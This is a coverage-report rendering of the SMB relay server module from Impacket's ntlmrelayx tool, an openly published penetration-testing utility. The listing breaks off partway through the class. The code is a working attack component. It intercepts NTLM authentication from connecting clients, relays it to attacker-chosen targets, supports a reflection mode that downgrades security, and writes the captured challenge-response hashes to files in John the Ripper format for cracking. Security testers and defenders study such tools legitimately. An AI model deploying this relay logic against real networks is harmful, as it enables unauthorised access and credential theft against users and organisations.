Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/smbrelayserver.py : 7%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# SMB Relay Server
11#
12# This is the SMB server which relays the connections
13# to other protocols
14#
15# Authors:
16# Alberto Solino (@agsolino)
17# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
18#
19from __future__ import division
20from __future__ import print_function
21from threading import Thread
22try:
23 import ConfigParser
24except ImportError:
25 import configparser as ConfigParser
26import struct
27import logging
28import time
29import calendar
30import random
31import string
32import socket
33import ntpath
35from binascii import hexlify, unhexlify
36from six import b
37from impacket import smb, ntlm, LOG, smb3
38from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED
39from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
40from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile
41from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH
42from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
43from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
44from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString
46class SMBRelayServer(Thread):
47 def __init__(self,config):
48 Thread.__init__(self)
49 self.daemon = True
50 self.server = 0
51 #Config object
52 self.config = config
53 #Current target IP
54 self.target = None
55 #Targets handler
56 self.targetprocessor = self.config.target
57 #Username we auth as gets stored here later
58 self.authUser = None
59 self.proxyTranslator = None
61 # Here we write a mini config for the server
62 smbConfig = ConfigParser.ConfigParser()
63 smbConfig.add_section('global')
64 smbConfig.set('global','server_name','server_name')
65 smbConfig.set('global','server_os','UNIX')
66 smbConfig.set('global','server_domain','WORKGROUP')
67 smbConfig.set('global','log_file','smb.log')
68 smbConfig.set('global','credentials_file','')
70 if self.config.smb2support is True:
71 smbConfig.set("global", "SMB2Support", "True")
72 else:
73 smbConfig.set("global", "SMB2Support", "False")
75 smbConfig.set("global", "anonymous_logon", "False")
77 if self.config.outputFile is not None:
78 smbConfig.set('global','jtr_dump_path',self.config.outputFile)
80 if self.config.SMBServerChallenge is not None:
81 smbConfig.set('global', 'challenge', self.config.SMBServerChallenge)
83 # IPC always needed
84 smbConfig.add_section('IPC$')
85 smbConfig.set('IPC$','comment','')
86 smbConfig.set('IPC$','read only','yes')
87 smbConfig.set('IPC$','share type','3')
88 smbConfig.set('IPC$','path','')
90 # Change address_family to IPv6 if this is configured
91 if self.config.ipv6:
92 SMBSERVER.address_family = socket.AF_INET6
94 # changed to dereference configuration interfaceIp
95 if self.config.listeningPort:
96 smbport = self.config.listeningPort
97 else:
98 smbport = 445
100 self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig)
101 logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)
103 self.server.processConfigFile()
105 self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
106 self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)
107 self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
109 self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
110 self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
111 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect)
112 # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
113 #TODO: See if this is the best way to accomplish this
115 # changed to dereference configuration interfaceIp
116 self.server.addConnection('SMBRelay', config.interfaceIp, 445)
118 ### SMBv2 Part #################################################################
119 def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
120 connData = smbServer.getConnectionData(connId, checkStatus=False)
122 respPacket = smb3.SMB2Packet()
123 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
124 respPacket['Status'] = STATUS_SUCCESS
125 respPacket['CreditRequestResponse'] = 1
126 respPacket['Command'] = smb3.SMB2_NEGOTIATE
127 respPacket['SessionID'] = 0
129 if isSMB1 is False:
130 respPacket['MessageID'] = recvPacket['MessageID']
131 else:
132 respPacket['MessageID'] = 0
134 respPacket['TreeID'] = 0
136 respSMBCommand = smb3.SMB2Negotiate_Response()
138 # Just for the Nego Packet, then disable it
139 respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED
141 if isSMB1 is True:
142 # Let's first parse the packet to see if the client supports SMB2
143 SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
145 dialects = SMBCommand['Data'].split(b'\x02')
146 if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
147 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
148 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
149 else:
150 # Client does not support SMB2 fallbacking
151 raise Exception('Client does not support SMB2, fallbacking')
152 else:
153 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
154 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
156 respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))
157 respSMBCommand['Capabilities'] = 0
158 respSMBCommand['MaxTransactSize'] = 65536
159 respSMBCommand['MaxReadSize'] = 65536
160 respSMBCommand['MaxWriteSize'] = 65536
161 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
162 respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
163 respSMBCommand['SecurityBufferOffset'] = 0x80
165 blob = SPNEGO_NegTokenInit()
166 blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
167 TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
170 respSMBCommand['Buffer'] = blob.getData()
171 respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
173 respPacket['Data'] = respSMBCommand
175 smbServer.setConnectionData(connId, connData)
177 return None, [respPacket], STATUS_SUCCESS
180 def SmbSessionSetup(self, connId, smbServer, recvPacket):
181 connData = smbServer.getConnectionData(connId, checkStatus = False)
183 #############################################################
184 # SMBRelay
185 # Are we ready to relay or should we just do local auth?
186 if 'relayToHost' not in connData:
187 # Just call the original SessionSetup
188 respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket)
189 # We remove the Guest flag
190 if 'SessionFlags' in respCommands[0].fields:
191 respCommands[0]['SessionFlags'] = 0x00
192 return respCommands, respPackets, errorCode
194 # We have confirmed we want to relay to the target host.
195 respSMBCommand = smb3.SMB2SessionSetup_Response()
196 sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])
198 connData['Capabilities'] = sessionSetupData['Capabilities']
200 securityBlob = sessionSetupData['Buffer']
202 rawNTLM = False
203 if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID:
204 # NEGOTIATE packet
205 blob = SPNEGO_NegTokenInit(securityBlob)
206 token = blob['MechToken']
207 if len(blob['MechTypes'][0]) > 0:
208 # Is this GSSAPI NTLM or something else we don't support?
209 mechType = blob['MechTypes'][0]
210 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
211 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
212 # Nope, do we know it?
213 if mechType in MechTypes:
214 mechStr = MechTypes[mechType]
215 else:
216 mechStr = hexlify(mechType)
217 smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
218 # We don't know the token, we answer back again saying
219 # we just support NTLM.
220 respToken = SPNEGO_NegTokenResp()
221 respToken['NegState'] = b'\x03' # request-mic
222 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
223 respToken = respToken.getData()
224 respSMBCommand['SecurityBufferOffset'] = 0x48
225 respSMBCommand['SecurityBufferLength'] = len(respToken)
226 respSMBCommand['Buffer'] = respToken
228 return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
229 elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
230 # AUTH packet
231 blob = SPNEGO_NegTokenResp(securityBlob)
232 token = blob['ResponseToken']
233 else:
234 # No GSSAPI stuff, raw NTLMSSP
235 rawNTLM = True
236 token = securityBlob
238 # Here we only handle NTLMSSP, depending on what stage of the
239 # authentication we are, we act on it
240 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
242 if messageType == 0x01:
243 # NEGOTIATE_MESSAGE
244 negotiateMessage = ntlm.NTLMAuthNegotiate()
245 negotiateMessage.fromString(token)
246 # Let's store it in the connection data
247 connData['NEGOTIATE_MESSAGE'] = negotiateMessage
249 #############################################################
250 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
251 # Let's send it to the target server and send the answer back to the client.
252 client = connData['SMBClient']
253 try:
254 challengeMessage = self.do_ntlm_negotiate(client, token)
255 except Exception as e:
256 LOG.debug("Exception:", exc_info=True)
257 # Log this target as processed for this client
258 self.targetprocessor.logTarget(self.target)
259 # Raise exception again to pass it on to the SMB server
260 raise
262 #############################################################
264 if rawNTLM is False:
265 respToken = SPNEGO_NegTokenResp()
266 # accept-incomplete. We want more data
267 respToken['NegState'] = b'\x01'
268 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
270 respToken['ResponseToken'] = challengeMessage.getData()
271 else:
272 respToken = challengeMessage
274 # Setting the packet to STATUS_MORE_PROCESSING
275 errorCode = STATUS_MORE_PROCESSING_REQUIRED
276 # Let's set up an UID for this connection and store it
277 # in the connection's data
278 connData['Uid'] = random.randint(1,0xffffffff)
280 connData['CHALLENGE_MESSAGE'] = challengeMessage
282 elif messageType == 0x02:
283 # CHALLENGE_MESSAGE
284 raise Exception('Challenge Message raise, not implemented!')
286 elif messageType == 0x03:
287 # AUTHENTICATE_MESSAGE, here we deal with authentication
288 #############################################################
289 # SMBRelay: Ok, so now the have the Auth token, let's send it
290 # back to the target system and hope for the best.
291 client = connData['SMBClient']
292 authenticateMessage = ntlm.NTLMAuthChallengeResponse()
293 authenticateMessage.fromString(token)
294 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
295 authenticateMessage['user_name'].decode('utf-16le'))).upper()
297 if rawNTLM is True:
298 respToken2 = SPNEGO_NegTokenResp()
299 respToken2['ResponseToken'] = securityBlob
300 securityBlob = respToken2.getData()
302 if self.config.remove_mic:
303 clientResponse, errorCode = self.do_ntlm_auth(client, token,
304 connData['CHALLENGE_MESSAGE']['challenge'])
305 else:
306 clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
307 connData['CHALLENGE_MESSAGE']['challenge'])
309 if errorCode != STATUS_SUCCESS:
310 #Log this target as processed for this client
311 self.targetprocessor.logTarget(self.target)
312 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))
313 client.killConnection()
314 else:
315 # We have a session, create a thread and do whatever we want
316 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
317 # Log this target as processed for this client
318 self.targetprocessor.logTarget(self.target, True, self.authUser)
320 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
321 authenticateMessage['user_name'],
322 authenticateMessage['domain_name'], authenticateMessage['lanman'],
323 authenticateMessage['ntlm'])
324 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
326 if self.server.getJTRdumpPath() != '':
327 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
328 self.server.getJTRdumpPath())
330 connData['Authenticated'] = True
331 del(connData['relayToHost'])
333 self.do_attack(client)
334 # Now continue with the server
335 #############################################################
337 if rawNTLM is False:
338 respToken = SPNEGO_NegTokenResp()
339 # accept-completed
340 respToken['NegState'] = b'\x00'
341 else:
342 respToken = ''
343 # Let's store it in the connection data
344 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
345 else:
346 raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
348 respSMBCommand['SecurityBufferOffset'] = 0x48
349 respSMBCommand['SecurityBufferLength'] = len(respToken)
350 if respSMBCommand['SecurityBufferLength'] > 0:
351 respSMBCommand['Buffer'] = respToken.getData()
352 else:
353 respSMBCommand['Buffer'] = ''
355 smbServer.setConnectionData(connId, connData)
357 return [respSMBCommand], None, errorCode
359 def smb2TreeConnect(self, connId, smbServer, recvPacket):
360 connData = smbServer.getConnectionData(connId)
362 authenticateMessage = connData['AUTHENTICATE_MESSAGE']
364 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
365 authenticateMessage['user_name'].decode ('utf-16le'))).upper ()
367 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
368 # are processed. There might be a use case for this
369 #if 'relayToHost' in connData:
370 # # Connection already relayed, let's just answer the request (that will return object not found)
371 # return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
373 try:
374 if self.config.mode.upper () == 'REFLECTION':
375 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
377 self.target = self.targetprocessor.getTarget(identity = self.authUser)
378 if self.target is None:
379 # No more targets to process, just let the victim to fail later
380 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %
381 (connId, self.authUser, connData['ClientIP']))
382 return self.origsmb2TreeConnect (connId, smbServer, recvPacket)
384 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser,
385 connData['ClientIP'], self.target.scheme, self.target.netloc))
387 if self.config.mode.upper() == 'REFLECTION':
388 # Force standard security when doing reflection
389 LOG.debug("Downgrading to standard security")
390 extSec = False
391 #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
392 else:
393 extSec = True
394 # Init the correct client for our target
395 client = self.init_client(extSec)
396 except Exception as e:
397 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
398 self.targetprocessor.logTarget(self.target)
399 else:
400 connData['relayToHost'] = True
401 connData['Authenticated'] = False
402 del (connData['NEGOTIATE_MESSAGE'])
403 del (connData['CHALLENGE_MESSAGE'])
404 del (connData['AUTHENTICATE_MESSAGE'])
405 connData['SMBClient'] = client
406 connData['EncryptionKey'] = client.getStandardSecurityChallenge()
407 smbServer.setConnectionData(connId, connData)
409 respPacket = smb3.SMB2Packet()
410 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
411 respPacket['Status'] = STATUS_SUCCESS
412 respPacket['CreditRequestResponse'] = 1
413 respPacket['Command'] = recvPacket['Command']
414 respPacket['SessionID'] = connData['Uid']
415 respPacket['Reserved'] = recvPacket['Reserved']
416 respPacket['MessageID'] = recvPacket['MessageID']
417 respPacket['TreeID'] = recvPacket['TreeID']
419 respSMBCommand = smb3.SMB2TreeConnect_Response()
421 # This is the key, force the client to reconnect.
422 # It will loop until all targets are processed for this user
423 errorCode = STATUS_NETWORK_SESSION_EXPIRED
426 respPacket['Status'] = errorCode
427 respSMBCommand['Capabilities'] = 0
428 respSMBCommand['MaximalAccess'] = 0x000f01ff
430 respPacket['Data'] = respSMBCommand
432 # Sign the packet if needed
433 if connData['SignatureEnabled']:
434 smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])
436 smbServer.setConnectionData(connId, connData)
438 return None, [respPacket], errorCode
440 ################################################################################
442 ### SMBv1 Part #################################################################
443 def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
444 connData = smbServer.getConnectionData(connId, checkStatus = False)
445 if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
446 if self.config.mode.upper() == 'REFLECTION':
447 # Force standard security when doing reflection
448 LOG.debug("Downgrading to standard security")
449 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
451 return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
452 #############################################################
454 def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
456 connData = smbServer.getConnectionData(connId, checkStatus = False)
458 #############################################################
459 # SMBRelay
460 # Are we ready to relay or should we just do local auth?
461 if 'relayToHost' not in connData:
462 # Just call the original SessionSetup
463 return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)
465 # We have confirmed we want to relay to the target host.
466 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
468 if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
469 # Extended security. Here we deal with all SPNEGO stuff
470 respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
471 respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
472 sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
473 sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
474 sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
475 sessionSetupData.fromString(SMBCommand['Data'])
476 connData['Capabilities'] = sessionSetupParameters['Capabilities']
478 rawNTLM = False
479 if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
480 # If there no GSSAPI ID, it must be an AUTH packet
481 blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
482 token = blob['ResponseToken']
483 else:
484 # NEGOTIATE packet
485 blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
486 token = blob['MechToken']
488 # Here we only handle NTLMSSP, depending on what stage of the
489 # authentication we are, we act on it
490 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
492 if messageType == 0x01:
493 # NEGOTIATE_MESSAGE
494 negotiateMessage = ntlm.NTLMAuthNegotiate()
495 negotiateMessage.fromString(token)
496 # Let's store it in the connection data
497 connData['NEGOTIATE_MESSAGE'] = negotiateMessage
499 #############################################################
500 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
501 # Let's send it to the target server and send the answer back to the client.
502 client = connData['SMBClient']
503 try:
504 challengeMessage = self.do_ntlm_negotiate(client,token)
505 except Exception:
506 # Log this target as processed for this client
507 self.targetprocessor.logTarget(self.target)
508 # Raise exception again to pass it on to the SMB server
509 raise
511 #############################################################
513 respToken = SPNEGO_NegTokenResp()
514 # accept-incomplete. We want more data
515 respToken['NegState'] = b'\x01'
516 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
517 respToken['ResponseToken'] = challengeMessage.getData()
519 # Setting the packet to STATUS_MORE_PROCESSING
520 errorCode = STATUS_MORE_PROCESSING_REQUIRED
522 # Let's set up an UID for this connection and store it
523 # in the connection's data
524 # Picking a fixed value
525 # TODO: Manage more UIDs for the same session
526 connData['Uid'] = 10
528 connData['CHALLENGE_MESSAGE'] = challengeMessage
530 elif messageType == 0x03:
531 # AUTHENTICATE_MESSAGE, here we deal with authentication
532 #############################################################
533 # SMBRelay: Ok, so now the have the Auth token, let's send it
534 # back to the target system and hope for the best.
535 client = connData['SMBClient']
536 authenticateMessage = ntlm.NTLMAuthChallengeResponse()
537 authenticateMessage.fromString(token)
538 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
539 authenticateMessage['user_name'].decode('utf-16le'))).upper()
541 clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
542 connData['CHALLENGE_MESSAGE']['challenge'])
544 if errorCode != STATUS_SUCCESS:
545 # Let's return what the target returned, hope the client connects back again
546 packet = smb.NewSMBPacket()
547 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
548 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
549 packet['Command'] = recvPacket['Command']
550 packet['Pid'] = recvPacket['Pid']
551 packet['Tid'] = recvPacket['Tid']
552 packet['Mid'] = recvPacket['Mid']
553 packet['Uid'] = recvPacket['Uid']
554 packet['Data'] = b'\x00\x00\x00'
555 packet['ErrorCode'] = errorCode >> 16
556 packet['ErrorClass'] = errorCode & 0xff
558 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))
560 #Log this target as processed for this client
561 self.targetprocessor.logTarget(self.target)
563 client.killConnection()
565 return None, [packet], errorCode
566 else:
567 # We have a session, create a thread and do whatever we want
568 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
570 # Log this target as processed for this client
571 self.targetprocessor.logTarget(self.target, True, self.authUser)
573 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
574 authenticateMessage['user_name'],
575 authenticateMessage['domain_name'],
576 authenticateMessage['lanman'], authenticateMessage['ntlm'])
577 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
579 if self.server.getJTRdumpPath() != '':
580 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
581 self.server.getJTRdumpPath())
583 self.do_attack(client)
584 # Now continue with the server
585 #############################################################
587 respToken = SPNEGO_NegTokenResp()
588 # accept-completed
589 respToken['NegState'] = b'\x00'
591 # Done with the relay for now.
592 connData['Authenticated'] = True
593 del(connData['relayToHost'])
595 # Status SUCCESS
596 errorCode = STATUS_SUCCESS
597 # Let's store it in the connection data
598 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
599 else:
600 raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
602 respParameters['SecurityBlobLength'] = len(respToken)
604 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
605 respData['SecurityBlob'] = respToken.getData()
607 else:
608 # Process Standard Security
609 #TODO: Fix this for other protocols than SMB [!]
610 respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
611 respData = smb.SMBSessionSetupAndXResponse_Data()
612 sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
613 sessionSetupData = smb.SMBSessionSetupAndX_Data()
614 sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
615 sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
616 sessionSetupData.fromString(SMBCommand['Data'])
618 client = connData['SMBClient']
619 _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)
621 if errorCode != STATUS_SUCCESS:
622 # Let's return what the target returned, hope the client connects back again
623 packet = smb.NewSMBPacket()
624 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
625 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
626 packet['Command'] = recvPacket['Command']
627 packet['Pid'] = recvPacket['Pid']
628 packet['Tid'] = recvPacket['Tid']
629 packet['Mid'] = recvPacket['Mid']
630 packet['Uid'] = recvPacket['Uid']
631 packet['Data'] = b'\x00\x00\x00'
632 packet['ErrorCode'] = errorCode >> 16
633 packet['ErrorClass'] = errorCode & 0xff
635 #Log this target as processed for this client
636 self.targetprocessor.logTarget(self.target)
638 # Finish client's connection
639 #client.killConnection()
641 return None, [packet], errorCode
642 else:
643 # We have a session, create a thread and do whatever we want
644 self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()
645 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
647 # Log this target as processed for this client
648 self.targetprocessor.logTarget(self.target, True, self.authUser)
650 ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
651 sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
652 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
654 if self.server.getJTRdumpPath() != '':
655 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
656 self.server.getJTRdumpPath())
658 # Done with the relay for now.
659 connData['Authenticated'] = True
660 del(connData['relayToHost'])
661 self.do_attack(client)
662 # Now continue with the server
663 #############################################################
665 respData['NativeOS'] = smbServer.getServerOS()
666 respData['NativeLanMan'] = smbServer.getServerOS()
667 respSMBCommand['Parameters'] = respParameters
668 respSMBCommand['Data'] = respData
671 smbServer.setConnectionData(connId, connData)
673 return [respSMBCommand], None, errorCode
675 def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
676 connData = smbServer.getConnectionData(connId)
678 authenticateMessage = connData['AUTHENTICATE_MESSAGE']
679 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
680 authenticateMessage['user_name'].decode ('utf-16le'))).upper ()
682 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
683 # are processed. There might be a use case for this
684 #if 'relayToHost' in connData:
685 # # Connection already relayed, let's just answer the request (that will return object not found)
686 # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)
688 try:
689 if self.config.mode.upper () == 'REFLECTION':
690 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
692 self.target = self.targetprocessor.getTarget(identity = self.authUser)
693 if self.target is None:
694 # No more targets to process, just let the victim to fail later
695 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %
696 (connId, self.authUser, connData['ClientIP']))
697 return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)
699 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser,
700 connData['ClientIP'], self.target.scheme, self.target.netloc))
702 if self.config.mode.upper() == 'REFLECTION':
703 # Force standard security when doing reflection
704 LOG.debug("Downgrading to standard security")
705 extSec = False
706 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
707 else:
708 extSec = True
709 # Init the correct client for our target
710 client = self.init_client(extSec)
711 except Exception as e:
712 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
713 self.targetprocessor.logTarget(self.target)
714 else:
715 connData['relayToHost'] = True
716 connData['Authenticated'] = False
717 del (connData['NEGOTIATE_MESSAGE'])
718 del (connData['CHALLENGE_MESSAGE'])
719 del (connData['AUTHENTICATE_MESSAGE'])
720 connData['SMBClient'] = client
721 connData['EncryptionKey'] = client.getStandardSecurityChallenge()
722 smbServer.setConnectionData(connId, connData)
724 resp = smb.NewSMBPacket()
725 resp['Flags1'] = smb.SMB.FLAGS1_REPLY
726 resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
727 recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
729 resp['Tid'] = recvPacket['Tid']
730 resp['Mid'] = recvPacket['Mid']
731 resp['Pid'] = connData['Pid']
733 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
734 respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
735 respData = smb.SMBTreeConnectAndXResponse_Data()
737 treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
739 if treeConnectAndXParameters['Flags'] & 0x8:
740 respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
742 treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
743 treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
744 treeConnectAndXData.fromString(SMBCommand['Data'])
746 ## Process here the request, does the share exist?
747 UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
749 # Is this a UNC?
750 if ntpath.ismount(UNCOrShare):
751 path = UNCOrShare.split('\\')[3]
752 else:
753 path = ntpath.basename(UNCOrShare)
755 # This is the key, force the client to reconnect.
756 # It will loop until all targets are processed for this user
757 errorCode = STATUS_NETWORK_SESSION_EXPIRED
758 resp['ErrorCode'] = errorCode >> 16
759 resp['_reserved'] = 0o3
760 resp['ErrorClass'] = errorCode & 0xff
762 if path == 'IPC$':
763 respData['Service'] = 'IPC'
764 else:
765 respData['Service'] = path
766 respData['PadLen'] = 0
767 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' )
769 respSMBCommand['Parameters'] = respParameters
770 respSMBCommand['Data'] = respData
772 resp['Uid'] = connData['Uid']
773 resp.addCommand(respSMBCommand)
774 smbServer.setConnectionData(connId, connData)
776 return None, [resp], errorCode
777 ################################################################################
779 #Initialize the correct client for the relay target
780 def init_client(self,extSec):
781 if self.target.scheme.upper() in self.config.protocolClients:
782 client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec)
783 client.initConnection()
784 else:
785 raise Exception('Protocol Client for %s not found!' % self.target.scheme)
788 return client
790 def do_ntlm_negotiate(self,client,token):
